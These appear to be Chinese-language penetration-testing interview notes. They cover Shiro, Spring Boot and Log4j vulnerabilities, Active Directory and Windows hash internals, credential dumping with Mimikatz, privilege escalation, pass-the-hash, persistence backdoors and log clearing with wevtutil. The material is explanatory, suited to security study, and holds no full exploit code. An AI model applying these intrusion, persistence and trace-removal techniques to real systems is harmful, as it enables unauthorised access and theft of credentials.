java安全框架,身份认证、授权、加密、会话管理
-
判断是否使用shiro
- 抓包,响应头是否有rememberMe=deleteMe,说明使用了Shiro组件
- fofa搜索
- 漏洞扫描器
-
漏洞
-
反序列化远程代码执行漏洞
-
Shiro-550反序列化远程代码执行漏洞原因
-
框架提供了一个RemberMe功能,浏览器关闭,下次登录就无需再次输入账号密码,认证的身份信息存放在Cookie中,shiro则通过ASE对称加密算法对Cookie进行解密来获取身份信息,而ASE的密钥是硬编码在里面,密钥泄露,那么就可以伪造身份走通流程。
攻击者通过以下流程构造攻击
攻击命令👉序列化👉AES加密👉base64编码👉设置Remember Cookie值
ASE加密的密钥,因为是硬编码在其中,所以通过版本很容易查询到,源代码都可以看,当然也可以使用dnslog获取
-
-
Shiro-721反序列化远程代码执行漏洞原因
- 改版本通过AES-121-CBC模式加密rememberMe字段,用户可以通过Padding Oracle来构造恶意的值,重新请求网站,进行反序列化攻击,最终导致任意代码执行,首先得获取到一个合法可用的Cookie才行。
-
-
9.7、springBoot漏洞
-
信息泄露
- 比如说swagger接口文档暴露
信息泄露一般用工具(SB-Scan)去扫
-
远程代码执行
- SQLEL表达式注入:就是找到一个传参点传一个${7*7}看结果能不能回显到页面上,可用说明存在漏洞,那么就可以getshell等其他的擦做
9.8、Log4j漏洞
- 漏洞
- JNDI注入漏洞,任意代码执行
- 原理
- 利用MessagePatternConver类的format方法会将${}替换为解析后的内容供系统执行
- 首先StrSubstitutor类提权${]}里的参数,将:前面的作为前缀,后面作为参数,前缀找寻对应lookUp,参数则是对应lookup的执行参数或者说是方法
- 攻击者就构造对应的参数传入
- 步骤:
- 一般使用ldap服务来进行JNDI注入
- 首先发送构造的palyload参数,然后会远程加载ldap远程连接,而这个连接存放着我们的恶意类
- 类就会被执行加载,从而执行系统命令
四、内网
1、内网域环境
1.1、什么是内网渗透?
- 就是在拿到webshell/meterpreter/beacon的时候,想办法获得系统信息并拿到权限,进入到网络系统内部,获取所有有价值的资产信息
1.2、请问一下windos中域环境,域是什么?
- 域是一个有安全边界的计算机集合,它可以说是"工作组的升级版",域内资源由一台域控制器,也即是DC,来集中管理,用户需要访问域内资源,必须有一个合法的身份登录其中。
1.3、那么域的特点是什么?
- 权限的集中管理
- 便携的资源访问
- 可扩展性
- 保密性加强
1.4、既然说到工作组,请问它们的区别是什么?
- 规模不同:工作组小型网络适用,域适用于大型网络
- 管理不同:工作组管理简单,每台计算机都有自己的本地账户权限;域是集中管理,用户账号在服务器上集中管理和控制
- 安全性不同:域的安全性较高。
- 架构不同:工作组是对等网络,域是B/S架构,集中管理
1.5、活动目录是什么?
- 它是微软开发的目录服务,一种结构化的方式来组织管理网络中的资源。
1.6、域与活动目录的区别是什么?
- 范围不同:域是一个广泛的概念,域可用包含多个活动目录,活动目录是域的基础构建
- 功能不同:域提供了身份验证和访问控制,而活动目录在此上,提供了更多功能,如资源共享,组织单位管理
- 架构不同:域是一个逻辑上的概念,活动目录是一个具体实现
1.7、NTDS.dit是什么,有哪些信息?
- NTDS.dit是活动目录的数据库文件,记录了三张表的存储信息,分别是
- Schema表:包含了所有可活动目录创建的对象信息以及它们之间的相互关系,也是活动目录中最小最基础的一张表
- Link表:包含了所有的属性管理、所有对象的属性值
- Data表:活动目录中用户、组,应用程序特殊数据和其他数据都在其中。
1.8、活动目录的逻辑结构由什么组成?
- 组织单元
- 域
- 域树
- 域森林
1.9、AD域服务器容器有哪些?
- Builtin容器:是AD创建的第一个容器,只要用于保存域中本地安全组
- Computers容器:AD创建的第二个容器,存放域内所有成员计算机的计算机账号
- Domain Controllers容器:特殊容器,用于保存当前域控制器下创建的所有子域和辅助域
- Users容器:Users容器保存AD系统创建的用户和登录到当前域控制器的所有用户账户
1.10、域的信任关系有哪些?
- 总的来说就是两类
- 单向信任:受信任域可用访问信任域,而信任域不能访问受信任域
- 双向信任:两种都可用互相访问
1.11、域中计算机有哪几类?
- 域控制器
- 成员服务器:主要提供网络资源
- 客户机:安装其他操作系统,通过计算机和域中的账号登录到域
- 独立服务器:和域无关,既不加入域,也没有活动目录
1.12、域内权限是怎么样的?
- 域本地组
- 多域用户访问单域资源
- 全局组
- 单域用户访问多域资源
- 通用组
- 多域用户访问多域资源
1.13、A-G-DL-P策略是什么?
- A:用户账户
- G:全局组
- DL:域本地组
- P:许可,资源权限
先将用户添加到全局组当中,再添加到域本地组,然后分配资源权限
1.14、域渗透的思路有哪些?
- 通过域成员主机,定位域控制器IP和域管理员账号
- 利用域成员主机作为跳板,扩大渗透范围
- 利用域管理员可用登录域中任何成员主机的特性,定位出域管理员登录过的主机IP
- 设法从域成员主机内存中dump出管理员密码
2、内网信息收集
2.1、内网收集哪些信息?
分为两类收集
- 工作组信息收集
- 用户信息
- 系统信息
- 网路信息
- 防火墙信息
- RDP远程桌面信息
- 获取杀软信息
- 代理信息
- wifi密码
- 回收站信息
- 浏览器信息
- 域内信息收集
3、windows密码凭证获取
3.1、windows Hash是什么?
- windows中加密过的密码口令,称为windows Hash
- windows系统使用两种方法对用户的密码进行哈希处理,分别是LAN Manager(LM)哈希和NT LAN Manager(NTLM)哈希
- 不过现在有更新版本 NTLMv2以及Kerberos验证体系
3.2、怎么判断哪种HASH加密?
- 通过密码长度进行判断:LM哈希最大长度为14、NTLM哈希则超过14
- windw是版本来判断加密方式
3.3、windows Hash存储的位置在哪?
- SAM文件存储在本机,对应本地用户,文件位置:C:\windows\system32\config\SAM
- NTDS.DIT文件,存储在域控上,对应域用户,文件位置:C:\windows\NTDS\NTDS.dit
3.4、LM-HASH生成原理是怎么样的?
- 首先将密码所有字符转换为大写,再转换为16进制的字符串,不足14字节用0在后面补全
- 密码的16进制字符串被分成两个7byte部分
- 每部分转换成比特流,长度为56bit,长度不足使用0在左边补齐长度
- 每一半转换为位,并且每7位后添加一个奇偶校验(0),得到结果为64位
- 在将这些奇偶校验位相加之后,从预先生成的两半中获得两个密钥,用这两个密钥对我们输入的密码进行DES加密
- 将加密后的两组拼接在一起,得到LM HASH 值
3.5、NTLM-HASH生成原理是什么?
- 首先将密码转换为十进进制的ASCII字符串
- 十进制ASCII字符串再转换为十六进制的字符串
- 十六进制字符串再转换为Unicode字符串
- 然后使用MD4摘要算法对Unicode字符串进行Hash计算
- 得到最后的16字节的NTLM-HASH
3.6、Windos的本地认证原理是什么?
windows有三个部分认证:本地认证、网络认证、域认证
本地认证是用户之间操作计算机登录账户
- 原理
- 用户输入密码,系统将用户输入的密码计算成NTLM-HASH
- 让后与SAM数据库中该用户的哈希进行比对,匹配则登录成功,否则登录失败
3.7、那么Windos的网络认证是怎么进行的?
网络认证是在工作组环境下远程登录另一台电脑所采用的认证机制
认证过程分为三步,也叫挑战相应机制
- 协商
- 双方确定加密的协议版本
- 质询
- 客户端向服务端发送用户名请求
- 服务端收到信息后,判断本地用户列表是否存在该用户,不存在就认证失败
- 存在的话,就生成一个16位数的change,让后将对应用户的NTLM HASH加密这个16位数的challenge,得到challenge1保存在内存中,再将这个challenge以明文方式发送给客户端
- 客户端收到后,将自己的提供的账户及密码转换成对应的NTLM-HASH值,让后用这个值加密challenge,生成response,响应给服务端
- 验证
- 质询完成后,服务器将结果与内存中的challenge1进行对比,相等就通过,否则认证失败
3.8、Mimikatz是怎么获取用户密码的?
- 用户输入密码的进行的处理进程是lsass.exe,这个进程保存明文密码,MimiKatz获取密码就是在这个进程中读取到的
4、域环境密码凭证获取
4.1、域认证的过程是怎么样的?
域认证,是用户登录到域环境中的某个设备
域内认证采用了Kerberos协议的认证机制,由一个可信的第三方机构KDC参与
- 认证过程
- 首先客户端向KDC发起服务请求,希望获取访问Server的权限;KDC得到消息后,判断客户端是否是可信赖的,也就是从AD数据库中寻找该用户是否可用登录。这个过程由AS完成,成功后,AS返回TGT给客户端
- 客户端得到TGT后,继续向KDC请求,希望访问Server权限,KDC再次得到这个消息后,通过消息中的TGT判断出客户端拥有这个权限,然后返回客户端允许访问服务端这个权限的Ticket
- 客户端得到这个Ticket后便可以访问server。但是这个Ticker只能访问这个server,若想访问其他,只能重新向KDC重新申请
5、操作系统提权
5.1、Windows本地提权是怎么做的?
- 首先拥有普通用户权限
- 提权方法
- 首先进行内网信息收集
- 关注系统版本和内核,以及Windos的服务,补丁这些
- 查找相关版本的漏洞,进行攻击提权
5.2、Linux提权是怎么做的呢?
-
先进行信息收集,了解内核,版本,操作系统
-
像就用内核漏洞提权
- 如脏牛漏洞
-
Linux密码HASH提权:
- 访问/etc/passwd
- 访问/etc/shadow
这些里面保存着用户的hash密码,可以解密试试
-
SUDO提权
- sudo -s命令
-
SUID提权
6、横向移动
6.1、怎么进行域内横向的移动呢?
-
利用Pass the hash的渗透方式进行
- 首先获得一台主机权限
- Dump内存获得用户hash
- 通过pass the hash尝试登录远程主机
- 继续搜索hash并尝试远程登录
- 直到获取管理员账户hash,登录域控,最终成功控制整个域
PTH不需要明文密码,可以直接用获取到的Hash来登录目标系统
6.2、内网横向移动中,FRP与Stowaway,这两个工具有什么区别?
- 关注点不同:FRP主要关注内网穿透和服务映射,而Stowaway注重内网测试和多级代理的管理
7、权限维持
7.1、windows权限维持是怎么做的?
- 大都是修改注册表,来进行劫持
- 修改开机自启动的注册表来实现后门自动允许
- 指定Schtasks任务,也就是定时任务,来启动后门
- 隐藏可登录的用户名账户
- RID劫持
- 文件夹启动,每次开机都会允许一个文件夹下所有的程序,所有可以将后门放入其中
7.2、Linux权限怎么维持?
- 软链接SSHd:开一个后门端口,用ssh登录,如果root身份禁用了,就换其他账号
- SSH key:免密登录,将公钥发送到目标服务器上
- SSH keyLogger:来监视登录操作,记录在日志当中
7.4、域是怎么权限维持的?
- 黄金票据伪造:获得krbtgt用户的NTLM哈希后,用TGS来加密成TGT发送给KDC
- SSP:利用lsass.exe进程中,可扩展性,让它调用我们自定义的DDL,一个用于记录当前所有登录到当前系统的明文账号和密码的DDL
- SKeleton Key:万能密码登录
- SID History:SID是用户的访问权限的一个编号,每次进行域备份或者迁移的时候,这个编号来保存之前用户的权限,而当我们获得域管理员权限时,可以添加任意用户到SID HIstory属性中,来实现持久化,(mimikatz工具)
8、痕迹清除
8.1、windows日记清除
- windows有三个日志:
- 系统日志:%systemRoot%\System32\Winevt\Logs\System.evtx
- 应用程序日志:%systemRoot%\System32\Winevt\Logs\Application.evtx
- 安全日志:%systemRoot%\System32\Winevt\Logs\Security.evtx
- 使用工具清除:wevtutil.exe
8.2、Linux痕迹清除
- 存放位置:/var/log/
- 日志配置情况:more /etc/rsyslog.conf
五、补充
1、phpinfo你会关注哪些信息?
- SERVER[‘SCRIPT_FILENAME’]:绝对路径
- 支持的程序
- SERVER[‘ADDR’]:真实IP
- 文件包含、远程文件读取
- 禁用的函数名
- php配置文件位置